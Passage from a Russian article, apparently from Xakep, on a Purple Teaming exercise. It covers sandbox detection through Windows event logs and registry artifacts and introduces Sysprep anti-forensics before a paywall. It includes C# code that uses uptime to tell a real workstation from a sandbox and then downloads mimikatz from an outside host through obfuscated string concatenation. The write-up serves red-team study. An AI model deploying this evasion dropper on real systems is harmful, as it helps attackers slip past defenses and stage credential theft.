В начале это­го года мы про­вели киберу­чения в фор­мате Purple Teaming в одной из круп­ных ком­паний. Основная цель — про­наб­людать, как работа­ют и люди, и средс­тва защиты в реаль­ных усло­виях. В этой статье я сде­лаю фокус имен­но на средс­твах защиты: пос­мотрим, в каких слу­чаях они реаль­но спа­сают и с чем могут не спра­вить­ся.

Это иссле­дова­ние получи­ло вто­рое мес­то на Pentest Award 2025 в катего­рии «Раз bypass, два bypass». Сорев­нование еже­год­но про­водит­ся ком­пани­ей Awillix.

Крат­ко о том, что делали и зачем.

Сре­да: Windows основной ИТ‑инфраструк­туры орга­низа­ции.

Сце­нарии атак:

  • фишин­говая рас­сылка (в этой статье мы ее рас­смат­ривать не будем);
  • про­ник­новение через ком­панию‑под­рядчи­ка — вот про это и весь наш раз­бор.

Ус­ловия тес­тирова­ния:

  • вы­делен­ная локаль­ная учет­ка с пра­вами адми­нис­тра­тора на устрой­стве;
  • VPN-дос­туп в инфраструк­туру;
  • неп­ривиле­гиро­ван­ная домен­ная учет­ка в Active Directory.

До­пол­нитель­ные зап­росы кли­ента:

  • от­дель­но про­верить работу песоч­ницы в поч­товом шлю­зе;
  • при эму­ляции исполь­зовать контркри­мина­лис­тичес­кие (anti-forensic) при­емы;
  • рас­ширить сце­нарий, добавив к TTP реаль­ных груп­пировок новые тех­ники и инс­тру­мен­ты, — что­бы усложнить задачу и реаль­но про­верить экспер­тизу сот­рудни­ков.
 

Как определить, что мы в песочнице

Для детек­тирова­ния и обхо­да сен­дбок­сов мы исполь­зовали тех­ники, опуб­ликован­ные в нашем (сов­мес­тно с дру­гим спи­кером) док­ладе «Вой­на с песоч­ницей: тех­ники по ту сто­рону бар­рикад» на кон­ферен­ции PHDays 2024. Эти тех­ники осно­ваны на ана­лизе арте­фак­тов и жур­налов Windows.

Мы исполь­зовали лишь часть перечис­ленных в док­ладе тех­ник. Давай пос­мотрим, какие момен­ты поз­воля­ют опре­делить, что мы работа­ем в песоч­нице.

 

Редко блокируется рабочий стол

Бло­киров­ка и раз­бло­киров­ка экра­на рабоче­го сто­ла — очень ред­кие события в песоч­нице.

Ис­точник — события с иден­тифика­тором 812 жур­нала Microsoft-Windows-Winlogon%4Operational.evtx. Нас инте­ресу­ют толь­ко события с вхож­дени­ем <TermSrv>, которые генери­руют­ся при бло­киров­ке и раз­бло­киров­ке экра­на рабочей стан­ции.

Анализ исполняемого файла winlogon.exe
Ана­лиз исполня­емо­го фай­ла winlogon.exe
Песочница (пример)
Пе­соч­ница (при­мер)
Рабочая станция сотрудника (пример)
Ра­бочая стан­ция сот­рудни­ка (при­мер)
 

Большой аптайм

Вре­мен­ные про­межут­ки безос­тановоч­ной работы (uptime) рабочей стан­ции сот­рудни­ка зна­читель­но доль­ше, чем у вир­туаль­ной машины песоч­ницы.

Ис­точник — события с иден­тифика­тором 6013 жур­нала System.evtx — вре­мя работы сис­темы в секун­дах. Допол­нитель­но мож­но учи­тывать сле­дующие события из того же жур­нала для более точ­ного под­сче­та вре­мени работы сис­темы:

  • 6005 — запуск служ­бы «Жур­нал событий Windows» (Event Log), ука­зыва­ет на вклю­чение сис­темы;
  • 6006 — оста­нов­ка служ­бы «Жур­нал событий Windows» (Event Log). Ука­зыва­ет на вык­лючение сис­темы.
Песочница (пример)
Пе­соч­ница (при­мер)
Рабочая станция сотрудника (пример)
Ра­бочая стан­ция сот­рудни­ка (при­мер)
 

Незаметна работа

Ес­ли поль­зователь не работа­ет с офис­ными докумен­тами, зна­чит, высок шанс, что мы в песоч­нице.

Пер­вый источник — раз­решение поль­зовате­ля на редак­тирова­ние докумен­тов и запуск мак­росов в офис­ных докумен­тах.

Поль­зователь­ский реестр NTUSER.dat:

HKU\*\Software\Microsoft\Office\*\*\Security\Trusted Documents\TrustRecords

Ис­кать нуж­но вре­мен­ную мет­ку, ука­зыва­ющую на то, ког­да поль­зователь давал раз­решение на опре­делен­ное дей­ствие (Enable Editing, Enable Content / Enable Macros), а так­же учи­тывать общее количес­тво докумен­тов.

Вто­рой источник — событие с иден­тифика­тором 300 из жур­нала Windows OAlerts.evtx. Оно генери­рует­ся, нап­ример, при появ­лении зап­роса на сох­ранение докумен­та Office (Excel, Word и так далее). В дан­ном слу­чае нас инте­ресу­ет количес­тво таких записей, а так­же вре­мен­ная мет­ка соз­дания пос­ледне­го события в жур­нале.

Песочница (пример, только OAlerts)
Пе­соч­ница (при­мер, толь­ко OAlerts)
Рабочая станция сотрудника (примеры)
Ра­бочая стан­ция сот­рудни­ка (при­меры)
 

Не используется панель задач

Поль­зуясь рабочей машиной, сот­рудник будет активно вза­имо­дей­ство­вать с панелью задач Windows: нажимать на кноп­ку «Пуск», поле поис­ка (TrayButtonClicked), перек­лючать­ся с одно­го при­ложе­ния на дру­гое (AppSwitched), запус­кать прог­раммы, прик­реплен­ные к панели задач (AppLaunch).

Windows так­же отсле­жива­ет обновле­ние знач­ков при­ложе­ний на панели задач (AppBadgeUpdated) и нажатие пра­вой кноп­ки мыши по при­ложе­нию на панели задач (ShowJumpView).

Ис­точник — поль­зователь­ский реестр NTUSER.dat:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FeatureUsage
 

Примеры детекта

Вот код на C#, который исполь­зует приз­нак аптай­ма сис­темы для опре­деле­ния песоч­ницы (то есть один из перечис­ленных приз­наков, тог­да как в реаль­нос­ти мы исполь­зовали все четыре):

using System;
using System.Collections.Generic;
using System.Diagnostics.Eventing.Reader;
using System.IO;
using System.Net.Http;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
class Program
{
public struct UptimeEntry
{
public DateTime TimeCreated;
public int UptimeInSeconds;
}
static async Task Main()
{
List<UptimeEntry> uptimeEntries = new List<UptimeEntry>();
string query = "*[System/EventID=6013]";
var logQuery = new EventLogQuery("System", PathType.LogName, query);
logQuery.ReverseDirection = false;
var logReader = new EventLogReader(logQuery);
EventRecord record;
while ((record = logReader.ReadEvent()) != null)
{
try
{
DateTime? timeCreated = record.TimeCreated;
string message = record.FormatDescription();
if (!string.IsNullOrEmpty(message))
{
int uptime = ParseUptimeFromMessage(message);
if (uptime >= 0)
{
uptimeEntries.Add(new UptimeEntry
{
TimeCreated = timeCreated ?? DateTime.MinValue,
UptimeInSeconds = uptime
});
}
}
record.Dispose();
}
catch (Exception ex)
{
Console.WriteLine("Ошибка: " + ex.Message);
}
}
List<int> filtered = ApplyCorrectedBufferAlgorithm(uptimeEntries);
foreach (var val in filtered)
{
Console.WriteLine(val);
}
int countGreaterThan = 0;
foreach (var val in filtered)
{
if (val > 43200)
countGreaterThan++;
}
if (countGreaterThan > 3)
{
string url = "ht" + "tp" + "s:/" + "/git" + "hub" + ".com/" + "ge" + "nt" + "ilki" + "wi/mi" + "mik" + "atz/" + "releases" + "/download/2" + ".2.0-20220919/m" + "imi" + "katz" + "_tr" + "unk.7z";
string publicDir = Environment.ExpandEnvironmentVariables(@"%Public%\Music");
string targetPath = Path.Combine(publicDir, "mi" + "mi" + "ka" + "tz_" + "tr" + "unk.7z");
try
{
Directory.CreateDirectory(publicDir);
using (var httpClient = new HttpClient())
{
byte[] fileBytes = await httpClient.GetByteArrayAsync(url);
File.WriteAllBytes(targetPath, fileBytes);
}
}
catch (Exception ex)
{
Console.WriteLine("Ошибка при загрузке файла: " + ex.Message);
}
}
}
static int ParseUptimeFromMessage(string message)
{
var matchEn = Regex.Match(message, @"uptime\sis\s(\d+)\sseconds");
if (matchEn.Success)
return int.Parse(matchEn.Groups[1].Value);
var matchRu = Regex.Match(message, @"работоспособного\sсостояния\s(\d+)\sсек");
if (matchRu.Success)
return int.Parse(matchRu.Groups[1].Value);
return -1;
}
static List<int> ApplyCorrectedBufferAlgorithm(List<UptimeEntry> entries)
{
List<int> result = new List<int>();
if (entries.Count == 0) return result;
if (entries.Count == 1)
{
result.Add(entries[0].UptimeInSeconds);
return result;
}
int buffer = entries[0].UptimeInSeconds;
for (int i = 1; i < entries.Count; i++)
{
int current = entries[i].UptimeInSeconds;
if (current > buffer)
{
buffer = current;
}
else
{
result.Add(buffer);
buffer = current;
if (i == entries.Count - 1)
{
result.Add(current);
}
}
}
if (result.Count == 0 || result[result.Count - 1] != buffer)
{
result.Add(buffer);
}
return result;
}
}

Ес­ли скрипт опре­делит, что прог­рамма запуще­на на компь­юте­ре сот­рудни­ка, то ска­чива­ется архив mimikatz по ссыл­ке:

https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.7z

Ес­ли же мы в песоч­нице, прог­рамма завер­шится.

Результат проверки песочницы
Ре­зуль­тат про­вер­ки песоч­ницы
 

Затруднение криминалистики

 

Sysprep

Ути­лита Sysprep (System Preparation Tool) пред­назна­чена для под­готов­ки устрой­ства к сня­тию обра­за Windows, но в ее биб­лиоте­ках есть фун­кции, которы­ми мож­но вос­поль­зовать­ся для уда­ления кри­мина­лис­тичес­ких арте­фак­тов и отсо­еди­нения хос­та от Active Directory.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии